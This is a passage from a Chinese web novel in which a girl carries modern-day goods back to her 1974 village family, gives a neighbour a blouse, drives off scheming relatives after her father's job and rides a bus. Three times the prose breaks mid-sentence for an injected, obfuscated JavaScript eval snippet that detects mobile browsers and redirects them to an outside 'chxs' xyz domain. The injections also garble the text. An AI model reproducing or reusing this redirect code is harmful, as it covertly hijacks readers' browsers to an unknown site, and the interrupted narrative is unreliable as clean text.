而且这些旧衣服说是旧的，但看起来根本不旧，和新的根本没什么区别，甚至比百货大楼里面卖的都好看，布料摸起来也格外柔软舒服。 陈翠芳也拿着衣服看：“这些衣服可真好看，颜色好看，摸着料子也好，这些衣服肯定不便宜吧？” “肯定不便宜。”赵小芸虽然不知道价格，但只用眼睛看也知道这些衣服不可能便宜。 这些衣服的颜色都不是特别鲜亮的颜色，就算是在这里也不是特别扎眼，别人见了只会觉得这颜色好看，是特别稀罕的布料。 赵小芸挑出一件嫩绿色的圆领短袖，这件短袖没有过多的花纹，只在袖口和衣摆绣了两三朵小花，看着十分清新，她打算给白雪姐。 本来是夏生哥委托她买布料的，只不过意外得店长赠送了这么多衣裳，这件嫩绿色的短袖她感觉应该很适合白雪姐，因此布料倒是暂时不用买了。 今天工作休息间隙，她也找齐宏询问哪里有卖布料的。 齐宏用手机搜了搜，找到一家布店，但距离奶茶店比较远，一来一回怕是要花三四个小时，不过他说网上也可以买，快递三到五天就能到，他可以帮忙下单。 赵小芸考虑了一会儿，拒绝了对方。 一是白雪姐这两天就要和男方见面，来不及；二是她不想过于麻烦齐宏。 本来她是准备走远一些路，去布店里买，没想到店长突然送给了她这么多衣服。 “妈，有媒人给白雪姐说亲，过两天就要和男方相看了，这件衣服我想给白雪姐穿。” 陈翠芳当然没意见。 况且两家的关系一直都挺不错，之前搬家搬过来的时候，方夏生一家都给他们帮过忙，邻居之间帮忙有来有往，才能维持更好的邻里关系。 赵小芸又找了几件衣服，准备给玲玲和小宇穿。 虽然两人穿会大一些，但现在小孩子的衣服，谁家不是在做的时候特意多留出几分？ 小孩子长个儿快，家家户户可没有那么多布料年年给孩子做新衣服。 “玲玲和小宇又去捡麦穗了吗？”赵小芸问。 “没有，去捉蚯蚓菜虫子了，说要回来喂鸡。”陈翠芳笑着说，自从家里抓回来一只老母鸡后，两个小的就上心了，说要把鸡喂的肥肥的，让它下鸡蛋吃。 赵小芸点点头，也没急着让弟弟妹妹回来试新衣服。 她又挑了好几件给陈翠芳：“妈，这几件你试试，看合不合身。” 陈翠芳也没拒绝，马上就换衣服试穿。 她试的是一件烟灰色的毛衣，毛衣摸着格外软和，也厚实，等到天冷的时候穿在里面肯定保暖。 陈翠芳扯了扯身上的毛衣：“咋样？” “好看！妈，你穿这件毛衣可真合适，看着好像都年轻了十岁呢！”赵小芸用力夸。 陈翠芳忍不住笑起来：“哪有那么夸张。” 不过说是这么说，她心里还是美滋滋的，还去找镜子照着看了看。 赵小芸也试了一件连衣裙。 是一件水蓝色印花连衣裙，她摸着像是棉布料子，但比棉布料子更顺滑，也不会有褶皱。 赵小芸穿上裙子，原地转了一圈，裙摆飘扬，像朵绽放的喇叭花一样。 “好看！好看！我家闺女模样好，穿上这裙子更好看了。”陈翠芳也使劲儿夸起来。 赵小芸把梳子拿过来，梳头发给自己扎了个马尾辫，还特意余了一缕头发，变成了一根细细的辫子，缠绕在马尾辫上，更多了几分精致。 梳好头发，赵小芸对着镜子还多照了照，心说好看。 回头对陈翠芳说道：“妈，衣服你收拾收拾放起来吧，我去那边给爸买东西。” “行，你去吧！这些我来收拾。” 赵小芸穿过门，这一身打扮总算没有再和这个世界格格不入了。 今天时间充裕，她没立刻去超市，而是在附近闲逛，打算认真看看这边的世界。 随便走着逛的时候，竟然还有意外惊喜，她又发现了一家超市。 这家超市没有兴旺超市那么大，东西也没那里多，但里面卖的东西价格更便宜一些。 赵小芸高兴地逛起来。 赵卫国的腿伤还没好，不能走太多路，免得留下后遗症，所以肯定得先住厂里，家里的脸盆什么的都是共用的，她得给爸买新的。 逛了一圈，赵小芸买了一个洗脸盆，一双拖鞋，一个杯子，还有一个搓澡巾，这些就差不多了。 底层货架上有好些本子和各种笔，赵小芸拿了几本作业本，又挑了几根铅笔。 麦子割完后，玲玲和小宇就该接着去上学了，两人的作业本用的十分节省，正反两面都写得满满当当。 还有铅笔，只剩一个笔头，放在手里都握不住了也舍不得丢。 赵小芸挑好铅笔，又看向旁边其他的圆珠笔、水写笔等等，这些笔她都没见过。 她拿起一根带着可爱猫坠的笔，回到门口柜台前：“老板，这是什么笔？” 老板从手机上抬头瞄了一眼：“自动铅笔。” 自动铅笔？赵小芸不认识，问道：“老板，这个笔怎么用？” 老板拿过自动铅笔，按压顶部，咔哒咔哒，笔尖冒出细细的笔芯：“喏，就这么用的。” 赵小芸惊讶：“好细的笔芯啊，不会断吗？” “你要是用力写肯定断。”老板从旁边随便拿过来一个本子，把笔放在上面，“你试试就知道了。” 赵小芸拿起自动铅笔在纸上写字。 老板在旁边小声嘀咕：“现在的孩子连自动铅笔都不认识了吗？想当年我小时候，自动铅笔可是让别的小伙伴羡慕的‘奢侈品’。” 赵小芸生怕笔芯稍微一碰就断裂，因此写字很轻。 不过真正写了几个字，感受过之后，她发现这笔芯看着细，但也没她想的那么脆，哪怕稍微用点力也不会断。 而且这自动铅笔的笔芯消耗完后，直接往下按压，再按出来一截就能继续使用，不像铅笔还得用小刀削皮，比铅笔方便多了。 赵小芸直接拿了两根，准备给玲玲和小宇使用。 老板提醒她，自动铅笔得搭配笔芯使用，她又拿了两盒笔芯。 最后橡皮也拿了好几块。 除了用的，这个小超市里也还有肉卖。 赵小芸割了两斤五花肉。 看见红枣后，想起店长说红枣枸杞煮水喝补气血，她又买了一袋红枣，到时候煮红枣水一家人都能喝。 还有便宜的饼干，她也拿了两包。 家里不常吃零嘴，饼干好吃又能充饥，妈半晌饿了可以吃，还有玲玲小宇，等去上学后，在学校里饿了可以先吃饼干垫垫肚子。 还称了两斤水果硬糖。 最后还买了一些调料品，两包盐、一瓶酱油、一包鸡精、一包白糖、两桶挂面，以及三十枚一大盘的鸡蛋。 这些东西一共花了一百三十三块钱。 小超市里的东西虽然比大超市便宜一些，但也没便宜到哪里去，赵小芸深感这里的钱不经花。 现在，她手里总共还有二百九十三块零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389552|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三毛。 赵小芸付完钱后，没有马上离开：“老板，给您打听件事儿，您知道哪里有卖瓦片的吗？” “瓦片？”老板一愣，这东西他可好多年没见过了，倒是小时候农村的瓦房多，见得也多。 老板想了想说道：“瓦片的话，建材市场估计有，你可以去找找看。” “那您知道建材市场在哪里吗？”赵小芸期待地看着老板，心想这里果然什么都有，瓦片都有卖的，有钱就能买，家里的屋顶可以修了。 老板用手机搜了搜路线，赵小芸看着用笔记在了纸上。 从这边附近去建材市场，有好几路公交车都能到。 “这么多公交，好方便啊！”赵小芸忍不住感叹，她之前从省城医院回来，总共才一路公交车，而且每趟车要相隔好久。 老板笑起来：“才这么几趟公交，算啥方便？要是在大城市，公交、地铁多得是，不到一公里的路可能都俩站口。” 赵小芸只是笑笑，这里和一九七四年相比，当然方便了无数倍。 不过老板说的地铁又是什么？ 这里的新鲜东西可真是太多了，每天都有新的东西能让她惊讶。 马上就中午了，赵小芸提着东西先回家，准备吃过午饭再去一趟建材市场。 陈翠芳和赵卫国看见赵小芸又提了一大包东西回来，两人都震惊地说不出话来。 那边的物资到底丰富到啥程度啊！怎么天天往家里买这么多东西，说实话，他们真的想象不出来。 那边的人也不少吧？就算材料足够，但厂子里竟然能造那么快？就算日夜不停赶工，产出也是有限的吧，到底是咋办到的？ 防止五花肉沾脏其他东西，所以赵小芸是单独提着的。 她把手里的五花肉给赵卫国：“爸，我买了两斤五花肉，中午吃红烧肉吧！” 接着又把调料也拿出来：“我还买了一些调料。” 陈翠芳赶紧都给放起来：“不是刚吃过一整只鸡，咋又买肉了？这家里天天吃肉，别人见了得眼红。” 谁家里能天天吃肉啊！就是村长家里也不能。 “况且这些东西的出处不好说，让别人见多了眼红，难免会给咱家惹麻烦。” 赵小芸考虑了一会儿，点头：“妈你说的有道理，但咱家既然有条件吃好的，也不能不吃……这样吧，以后再吃肉的话，我在那边做好之后再拿回来吃。” 肉类的吃食做的时候香味儿才飘的远，做熟了直接吃，只要不是别人跑到他们家饭桌上，估计也没事。 陈翠芳觉得这样也可以：“行，那就把肉拿到那边做。” 赵小芸把东西都放进堂屋柜子里，这个柜子上有锁，不怕别人来家里不小心看见。 “爸，妈，今天这顿肉就先还在家里做，那边的灶房我得过去看看还能不能用，就算能用，也得先收拾干净了。” “好，那我去做红烧肉了。”赵卫国提着肉和调料去灶房。 赵小芸把柜子锁上，穿过门，准备来这边看一眼厨房。 厨房许久没进过人了，里面蒙了一层灰尘。 赵小芸打眼一扫，看见好几个锅，从柜子里也翻找出许多碗碟、勺子筷子。 “怎么没有灶台？”赵小芸一脸茫然。 看来还得砌个灶台，她心想。 赵小芸拿了一个炒锅和几个碗回来给家里用，又看看时间，想着隔壁的夏生哥和白雪姐估计也都从地里回来了，便找出准备给白雪姐的嫩绿色短袖。 她把衣服检查了一遍，把衣领处的标签拆掉，这才拿着衣服去邻居家。 29. 嫩绿短袖 赵小芸站在院子外先喊了一声：“白雪姐在家吗？” “是小芸啊，我在家呢。”方白雪从灶房里出来，“快进来，找我啥事？” 她说这话的同时，眼睛也落在了赵小芸身上，语气带着惊艳：“小芸你身上这套裙子可真好看！” 看见她的扎的一条马尾辫，还有一根编的细细的麻花辫绕在辫子上，村里从来没有姑娘扎过这种发型，但她看着赵小芸这么扎头发，莫名觉得好看。 尤其是搭配上这套蓝色带花的裙子，格外让人挪不开眼。 “小芸，你今天可真好看！怎么突然打扮这么漂亮呀？” 赵小芸走过去拉住方白雪：“白雪姐，咱们去屋里说。” 方白雪无奈一笑：“这么神秘呀……妈，我和小芸有事儿说，灶房里的火你先看一下。” “好，你们去吧。”林萍萍从屋里出来，进了灶房。 两人进屋里，赵小芸把短袖展开：“白雪姐，你看这件衣服好看不好看？” 方白雪的视线内被一抹嫩绿充斥，仿佛看见了冬日过后，春天刚刚降临，柳枝上最先发出的那一抹嫩芽，脆嫩清新，令人感受到春日到来的喜悦与美丽。 “好漂亮的衣服啊！这种颜色的布料我还从来没见过呢！” 时下的衣服多以灰、蓝、黑为主，其他颜色的极为罕见。 便是有一些颜色稍微鲜亮的布料售卖，也轮不到她们农村人买得上。 “小芸，我可以摸摸吗？” “当然可以啦。”赵小芸笑吟吟地，“白雪姐，这件衣服我本来就是要给你的。” 方白雪两手在自己身上用力蹭了蹭，生怕把衣服弄脏，正准备接过来，听见赵小芸这么说，顿时震惊地瞪大眼睛：“给我？” 赵小芸点头，把衣服塞进方白雪手里：“白雪姐，你快试试这件衣服合不合身。” 方白雪双手触到柔软布料，软软绵绵，仿佛托着一朵云。 好一会儿她才回过神来，惊讶地看着衣服，眼中带着喜欢与期待，不太敢相信地和赵小芸确认：“真的要给我试试吗？” “是啊，快去吧！”赵小芸推着方白雪进卧室里面，把门关起来。 没一会儿，方白雪换好了新衣服出来，脸上带着一抹羞涩之意，略微拘谨地看着赵小芸问道：“咋样？” 这样好看、布料颜色这般鲜嫩的衣服，她还是头一次穿。 赵小芸上下打量，方白雪常年劳作，风吹日晒，露出外面的皮肤都晒的有些黑和粗糙，不过她底子好，再加上五官明艳大气，本人还是十分好看的。 如今换上鲜嫩的颜色，更如一朵红花配上了绿叶，增添了一抹让人挪不开眼的鲜艳色彩。 “好看！白雪姐，你本来就长的漂亮，穿上这件衣服就更好看了。” 方白雪被夸的脸红：“哪有你说的那么好。” “就是好看，不信的话出来让萍婶儿看看。”赵小芸笑嘻嘻地拉着方白雪出去。 “萍婶儿，你快出来看看白雪姐好看不好看。” 林萍萍从灶房出来：“啥好看不好看？” 说到后面几个字几乎都消音了，目瞪口呆地看着自家闺女，惊呼一声：“乖乖！白雪，哪里来的新衣服？” 赵小芸哎呀一声：“萍婶儿，您别光看衣服啊！看白雪姐穿这个漂亮不？” “漂亮！”林萍萍走过来，嘴里哎哟哟地惊叹着，“我家白雪可真漂亮。” 方白雪的耳朵都红了，不过虽然害羞，但也有明显的高兴之意：“真这么好看呀？” 赵小芸嗯嗯用力点头：“那当然！” 林萍萍在自己身上擦了擦手，小心翼翼地捏着衣服边摸了摸：“哎哟，这布料可真软和。” 她想起来赵小芸过来时，手里拿着的好像就是这件衣服吧？ “小芸，这衣服是你拿过来的吧？从哪儿买的？” 赵小芸只说道：“我从别人手里买的，就这么一件。” 林萍萍闻言有些失望，她还想也买一件给闺女呢。 媒人已经给闺女说亲，过两天就要和男方相看了，如果能穿上这么件漂亮的衣服，那就是体面和本钱。 更优秀的一方总是能对另一方多挑一挑的。 林萍萍犹豫了一下，厚着脸皮问：“小芸，这件衣服可以借给白雪穿半天吗？” 赵小芸笑着说：“萍婶儿，这件衣服我就是打算给白雪姐的。” 林萍萍脸上瞬间仿佛拨云见日：“这可真是太好了！” 她是真心想要这件衣服给闺女装扮，一句虚伪推辞也没有，亲昵地拉住赵小芸的手：“小芸，你放心，萍婶儿不可能让你吃亏，这件衣服你买的多少钱？” 赵小芸有些犹豫。 这件衣服是店长送的，根本没花钱，不过她也没打算白送给白雪姐，亲兄弟还明算账呢，无底线的付出有时候并不能得到好报，这点她在自己家的那些亲人身上已经亲身体会过。 但是具体收多少钱，她不好确定。 现在普通的棉布料在一块二左右一米，做一件短袖，最多也就用一米多一点的布。 赵小芸虽说不准备白送衣服，但毕竟与白雪姐、萍婶儿关系亲近，肯定也不会要价太高，毕竟萍婶儿已经开口说要买衣服了，自己要是说太高，萍婶儿估计也不好意思还价，再高的价格都会咬咬牙拿出来。 “萍婶儿，给我三块钱吧。” 林萍萍和方白雪都愣住了。 林萍萍甚至下意识说道：“这是不是太便宜了？” 质量这么好，颜色这么少见的衣服，可是有钱都买不来。 方白雪也点头同意：“小芸，咱们两家虽然关系好，我也特别喜欢这件衣服，但我知道这么漂亮的衣服你肯定也很喜欢，你让给我就算了，我总不能让你吃亏。” 林萍萍一咬牙，说：“给你五块钱，家里还攒了十几枚鸡蛋，也都给你。” “萍婶儿……” 赵小芸话还没说，林萍萍就握着她的手阻止她：“小芸，那些个客套话咱们也不别再多说了，你先等着，我去给你拿钱和鸡蛋。” 也不等赵小芸反应，林萍萍直接就进屋拿钱了。 这时，方夏生也回来了。 “小芸！”方夏生看见赵小芸这身打扮，惊讶的直愣愣地看着她，像是看呆了一样。 林萍萍拿了钱出来，看见方夏生：“夏生回来了，饭好了，赶紧去洗洗手吃饭。” 方夏生这才回神，连忙去洗手。 他忍不住扭头看赵小芸：“小芸，你穿这身真好看。” 赵小芸嘿嘿一笑：“好看吧，我也觉得好看。” 她收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398111|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了萍婶儿给的五块钱和鸡蛋：“萍婶儿，白雪姐，我也回家吃饭了。” “小芸，等一下。”方夏生叫住赵小芸，去屋里拿了一瓶药酒出来，“你昨天学骑车不是摔伤了吗？这瓶药酒你拿回去擦擦。” “谢谢夏生哥，不过不用啦。”赵小芸摆手拒绝，“我家里有红花油，我擦点儿红花油就好。” 方夏生啊了一声，收回药酒。 …… 赵小芸回到家，已经闻见了肉香味儿。 “好香啊！”赵小芸跑到灶房门口，“爸，红烧肉是不是快熟了？” “还得再等会儿，饿了？”赵卫国笑着问。 “饿了！不过更多的是嘴馋了，想吃肉。” “姐，我也想吃肉。”赵晨玲高兴地喊道。 赵晨玲和赵晨宇也都回来了，知道今天家里要吃红烧肉，高兴坏了。 两人都蹲到锅台前，眼睛一眨不眨地看着赵卫国做红烧肉。 “以后咱们家会经常吃肉。”赵小芸笑着说，“玲玲小宇，你们俩过来。” 两个小家伙儿站起来：“姐，干啥？” 从灶房里出来，赵晨玲看着赵小芸：“姐，你的裙子真好看，是新做的衣服吗？” “是啊！你们也有。” “我们也有？”玲玲和小宇一听，心里期待起来。 赵小芸领着弟弟妹妹进屋里，先把萍婶儿给的鸡蛋放下，又去打开堂屋的柜子，露出里面的糖果、饼干，她抓了一把糖给两人。 “是糖和饼干！”赵晨玲惊呼，捧着手接过糖果。 “去吃糖吧，不过马上就要吃饭了，只能吃一颗，剩下的下午再吃，记住了吗？”赵小芸自己也剥了一颗水果硬糖塞进嘴里，葡萄味儿的水果糖酸酸甜甜。 赵晨玲分了一半糖果给赵晨宇：“嗯，记住啦！” 赵小芸又说：“这些饼干等你们开学后带去学校，半晌饿的时候吃……对了，我还给你们买了本子和笔，到时候你们就用新本子和笔。” 她把从小超市买的作业本、铅笔、自动铅笔，以及橡皮都拿出来。 两人眼睛发亮：“好多本子和笔。” “姐，这个是什么？上面还有一只小猫呢！” “这个也是笔，叫自动铅笔。”赵小芸给玲玲小宇演示自动铅笔的用法。 两人的惊呼声此起彼伏。 赵小芸把文具给两人，叮嘱道：“好了，你们自己把东西放好，别乱放给弄丢了。” 玲玲小宇去放文具，赵小芸则是去拿衣服。 陈翠芳已经把衣服都收拾好，适合玲玲和小宇穿的衣服也挑出来了几件，叠的整整齐齐放在一起。 赵小芸把这几件衣服都拿出来：“玲玲小宇，过来试试新衣服。” 两个小家伙刚放好自己的文具，一转身看见姐姐手里拿了好多衣服，都惊的合不上嘴巴。 赵晨玲更是跑到赵小芸面前，小手挡在脸侧问：“姐，咱家是不是发财了？” 发财？赵小芸想了想，的确可以这么说：“对，咱家发财了。” “哇！” “嘘！”赵小芸叮嘱两人，“不能别外人说。” 玲玲和小宇捂住自己的嘴，嗯嗯嗯点头：“我们谁都不说！” 赵小芸把衣服给弟弟妹妹：“来，快试试衣服。” 30. 算计工作 虽然店长送的都是女装，不过大多款式简单，小宇也能穿。 两人都换上了全套新衣服，都是上身短袖、下.身裤子。 赵小芸给两人叠起裤腿，把短袖下摆往裤腰里塞了塞：“衣服有些大，不过没关系，让妈改两针缝起来就好了。” 玲玲和小宇穿上新衣服，高兴的不行，恨不得去村里跑几圈，在小伙伴们面前炫耀炫耀。 陈翠芳从外面进屋里，看见两个小的都换上了新衣服，夸赞道：“咱家玲玲和小宇可真精神，好看！这衣服稍微大了点儿，不过没关系，我给缝几针就行了。” 赵小芸笑着点头：“我刚才也是这么说的。” “好了，把新衣服先换下来，饭好了，去吃饭了。” 赵小芸三人都还惦记着吃红烧肉，玲玲和小宇赶紧换下衣服，跑去灶房盛饭。 今天依旧是面条，炒豆角和红烧肉卤子的手擀面。 下面条的汤锅里烫的有青菜，赵小芸捞了一碗面条青菜，把红烧肉和炒豆角往面上面一浇。 雪白的面条、翠绿的青菜和豆角，再加上浓油酱赤的红烧肉，看着就让人食欲大开。 赵小芸先尝了一块红烧肉，肥瘦相间的肉块入口即化，肥肉肥而不腻，瘦肉瘦而不柴，微甜和浓酱的味道混合在一起，香的她差点儿咬到自己舌头。 “味道咋样？”赵卫国捞了一碗面条给陈翠芳，回头问吃着肉的赵小芸。 “好吃！” 玲玲和小宇也都盛了一碗，不太熟练地用筷子夹着红烧肉往嘴里塞。 两人也跟着喊：“爸，好吃！红烧肉太好吃了！” 一家人正吃着午饭，王春花和李红霞突然来了。 两人还没靠近赵小芸家，就闻见了肉的香味儿。 李红霞用力吸着鼻子：“老二家怎么又吃肉了，不是才刚刚吃了炖鸡，今天这又是做啥好吃的肉了，咋这么香？” 王春花也被馋到了，她也不是没吃过肉，但是做的这么香的肉她还是头一次闻到。 李红霞小声说：“不是说小芸在医院治伤，把家里的钱都花光了吗？咋还能三天两头吃肉？” 王春花撇嘴：“肯定是骗人的呗！我就不信赵卫国他在部队当兵这么些年，没攒下家底……呸！还说把大半津贴都交公用了，说的好听，其实是自己藏起来了吧！” 李红霞心里也是这么想的。 两人闻着肉香，心里都不平衡。 尤其是李红霞，心说当年赵胜利要是没有把当兵的名额让出去，今天吃肉的就是自己家了。 不管两人心里再嫉妒、再不平衡，今天过来，还是得摆出一张笑脸。 “翠芳，吃着呢？”李红霞笑着说。 李红霞没等陈翠芳请她们进来，就直接推开了篱笆门，和王春花一起进了院子里。 赵小芸见到这两人，吃到红烧肉的喜悦突然就打了折扣：“大伯母，三婶儿，你们来干啥？” 对方没礼貌，她也就没客气。 两人今天来是有目的的，就算听赵小芸说话不太客气，两人也只当没听出来。 王春花更是陪着笑脸说：“小芸，今天三婶儿是来给你送赔偿的医药费的，我和你三叔都知道错了，金蛋也是，往后你可别再记恨我们了。 “咱们都是一家人，卫民和你爸那可是亲兄弟，打断骨头连着筋，一家人哪有隔夜仇，你说是不是？” 王春花从兜里掏出用布包的严实的一卷钱，过去给了陈翠芳：“翠芳，这是我家赔给小芸的医药费，你赶紧收起来吧！” 陈翠芳看着王春花有些惊讶，没想到对方真的把医药费赔过来了。 难道真的被小芸说报公安的话吓到了？ 不管因为啥，这医药费的确是该赔，陈翠芳直接拿过来揣进了兜里。 “翠芳，其实今天我和红霞过来，还有一件事。”王春花边说边打量陈翠芳的神情，见她收了自己的钱，也没给自己露个笑脸，甚至连话都没多说几句，理所当然地就把钱揣兜里，心里顿时有些不得劲。 “哦，你说吧！”陈翠芳不冷不热地说道。 李红霞见王春花表情有些僵硬，连忙说道：“是这样的，我听说昨儿个有县城来的邮递员，给二弟送了一封信？” 陈翠芳不明所以：“是有这回事。” 这事儿村里都已经传遍了，她也没什么好隐瞒的。 李红霞期待地追问：“那封信是不是说二弟工作的事儿？二弟的工作岗位落实下来了，对不对？” 陈翠芳微微一愣，看着眼前的两人，眉头慢慢皱起。 赵小芸凑近过来，似笑非笑地看着两人：“三婶儿，大伯母，你们猜的没错，的确是我爸的工作落实下来了，怎么了？你们要送礼祝贺吗？” 等爸去县城上岗，这事儿瞒不住，赵小芸也没否认。 她倒是要看看，自己这一家子惯会吸血的亲人，还能说出什么离谱的话。 李红霞脸上的笑一僵，送礼是不可能的。 不过听到真是工作落实了，李红霞心中控制不住地狂喜：“这可真是太好了！咱家就要出一个工人了！小芸，翠芳，还有二弟……” 她看着赵卫国，一脸遗憾地叹了口气：“二弟，你看你腿上的伤还没好利索，得好好养着，万一留下后遗症可就不好了，你说是吧？ “可这工作岗位不等人啊，咱们可不能浪费了这么珍贵的一个名额……你看这样行不行？让我家大满先顶替你的岗位，等你的腿彻底好了再还给你？” 赵小芸噗嗤笑出来。 李红霞惊喜：“小芸，你也是这么想的对吧？还是小芸孝顺。” 赵小芸摇头：“大伯母，我是笑你可真会开玩笑。” 李红霞的惊喜欣慰消失：“小芸，我可不是开玩笑，我是真的为你爸着想。你说万一累到腿，以后成了瘸子可咋办？ “再说了，只是暂时让你大满哥顶替一段日子，又不是要把这个工作岗位直接给你大满哥，这是两全其美的事儿，你可不能不答应啊！” 赵小芸低头轻笑，暂时顶岗？ 怕是这暂时，是暂一辈子吧？ 工作岗位这么大一块肥肉，到了大伯一家手里，他们怎么可能会吐出来！ 不过赵小芸很奇怪，三婶儿怎么也同意把工作给大满哥？ 马上她就想明白了，肯定是大伯母许诺了什么好处。 陈翠芳看着两人贪婪的嘴脸，直接摆出了脸色：“别想了，这工作我们不可能让出去，你们回吧！” “二弟妹，话不能这么说。”李红霞看向赵卫国，“二弟，你是一家之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411459|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主，你说呢？” “二弟，你可得想清楚了，要是你的腿得不到足够的修养，以后变成瘸子可就没后悔药吃了。” 赵卫国沉着脸，这可真是把自己一家当傻子糊弄呢！ “不必了，工作我不可能让，暂代也不行。回去吧，就不留你们吃饭了。” 陈翠芳和赵卫国的态度都很坚决，眼看让赵大满暂时顶岗的事儿没戏，王春花急了。 她这次从家里拿了三十块钱过来，当是医药费赔偿出去，就是为了博好感。 李红霞说了，等她家大满拿到这个工作，以后每个月工资分她五块钱。 等到自家金蛋成年后，大满就把这份工作让给金蛋。 都说好了的！ 现在陈翠芳和赵卫国不愿意，那怎么能行啊！ 自己的钱可不能打水漂。 “你们今天要是不愿意把工作给大满，那就先把我的钱还给我。” 陈翠芳失笑：“春花，你在说什么胡话呢，什么叫把你的钱还你？这明明是你们赔偿给我家小芸的医药费。” 她甚至直接从兜里掏出包钱的小布包，全都给了赵小芸：“小芸，这是赔给你的，你自个儿拿着吧，想吃什么就去买，别吝啬钱。人家医生可说了，你这伤得好好养起来，多吃好的、有营养的。” 赵小芸当着王春花的面接过来，打开布包数了数，看向王春花：“三婶儿，这里才三十块钱，我在医院可花了不止这些，你这不够啊！” 王春花眼睛都气红了，什么叫才三十块钱，这可是家里全部的家底！ 她朝着赵小芸扑过去，伸手就要抢钱。 赵小芸直接跑开：“三婶儿，抢钱是犯法的。” 她跑进灶房里，把饭碗放下。 出来后拎起院子里的大扫帚，专门往李红霞和王春花脚下扫。 两人被扫帚的竹丝戳得跳脚。 李红霞气急败坏地大喊：“赵小芸！有你这么对长辈的吗？” “大伯母，我也没你们这样算计自家人的吸血亲戚啊！”赵小芸哗哗用力扫，一直把两人“扫地出门”，这才停下来。 扫帚拄在地上，赵小芸关上篱笆门，挡在门口，一脸笑嘻嘻地挥手：“大伯母，三婶儿，不送了啊！” “你！”两人气得说不出一句囫囵话。 见赵小芸门神一样杵在门口，李红霞和王春花也知道，今天这事儿没商量的可能了。 李红霞咬牙切齿地说：“先回去！” 王春花惶惶道：“那我的钱可咋整？” 李红霞小声说：“回去请公爹过来。” 赵德宗可是赵卫国的亲爹，他还能不听亲爹的话？ 王春花.心里稍安。 赵小芸见两人走了，转身回来放好扫帚，去灶房里又把自己的饭端出来，刚吃了两口，心里还是不安：“爸妈，我觉得大伯和三叔两家还会整幺蛾子。” “你先安心吃饭吧，没事儿，到时候有爸妈解决。”赵卫国说道。 赵卫国只觉得寒心，明明都是一家人，怎么能忍心这么算计？ 赵小芸虽然被大伯母和三婶儿搅和的不太开心，但也没一直放在心上折磨自己。 吃过午饭后，她又穿过门，打算去建材市场看看，买些瓦片回来修家里的屋顶。 31. 乘公交 赵小芸来到公交车站的站牌前，这时候除了她没人在等公交车。 巨大的站牌上面是巨幅广告，美丽的女明星手托着水润清澈的护肤品，相隔几秒钟后，护肤品海报滑上去，下面又上来一张英俊男明星展示衣服的海报。 好几张不同巨幅海报广告轮番播放，赵小芸看得在心里惊呼不断。 海报两侧是公交站牌，上面有详细的公交路线及停靠站点，赵小芸走过去查看，以免自己坐反了方向。 确认就是在这边等车后，赵小芸坐在广告牌前的长椅上等待。 赵小芸摸着由四条长条横木修建的长椅：“等公交车竟然还有坐着休息的地方？” 大概七八分钟后，203路公交车从远处行驶过来，正是赵小芸要乘坐的这班车，她赶紧站起来，生怕错过。 公交车抵达站点停靠，前后车门自动打开，一个好听的女音提示：为了您和他人的安全，请您在上下车时遵守交通规则井然有序。 赵小芸从前门上车，上去后只看见了公交车司机，没有看见卖票的售票员，顿时一脸迷茫。 公交车们咣的一声关闭。 【203路公交车提醒您，上车请刷卡，无卡请投币。】 【车辆启动，请坐稳扶好。】 赵小芸这才注意到门口的投币箱，赶紧往里面投了一块钱。 上午去小超市买东西，想着下午要坐车，她让老板专门给她换了一些零钱。 投完币后，赵小芸往车后面走了几步，在座椅上坐下，紧张的一颗心这会儿才平复下来。 整辆公交车里，加上赵小芸，总共才五位乘客。 赵小芸在心里咂舌，这乘客也太少了！ 公交车里干干净净，没有什么异味儿，比一九七四年那边的公共汽车好太多了。 每到一个站点，公交车里都有语音播报，赵小芸心安不少。 之前还担心万一坐错站，现在完全没这个顾虑了。 公交车里开了空调，很凉快，赵小芸靠在车窗上，没一会儿上下眼皮开始打架。 大概是刚吃过午饭，公交车里又这么舒服，所以容易犯困。 赵小芸怕坐过站，强撑着不让眼皮合上。 就在公交车不知道开了多久，赵小芸正昏昏欲睡的时候，公交车语音播报： 【下一站县十一中中学，下车请往后门走。】 赵小芸猛地惊醒过来：“县十一中中学？”她该在这里下车了！ 公交车还在往前走，赵小芸看着外面，也不认识这是哪里，心里有些慌，不会坐过站了吧？ “师傅，县十一中中学过去了吗？” 司机师傅：“下一站就是。” “好的，谢谢师傅。”赵小芸擦了擦惊出的一头汗，松了口气。 到站后，赵小芸下车，又在这里转乘另一趟公交车，接下来又坐了几站路，才到达建材市场。 …… 建材市场位置偏僻，平时没什么人来这里，看着冷冷清清的。 赵小芸站在宏伟的大门入口，仰起头往上看，巨大的四个字“建材大市”高悬半空。 “好高啊！”赵小芸从入口进去。 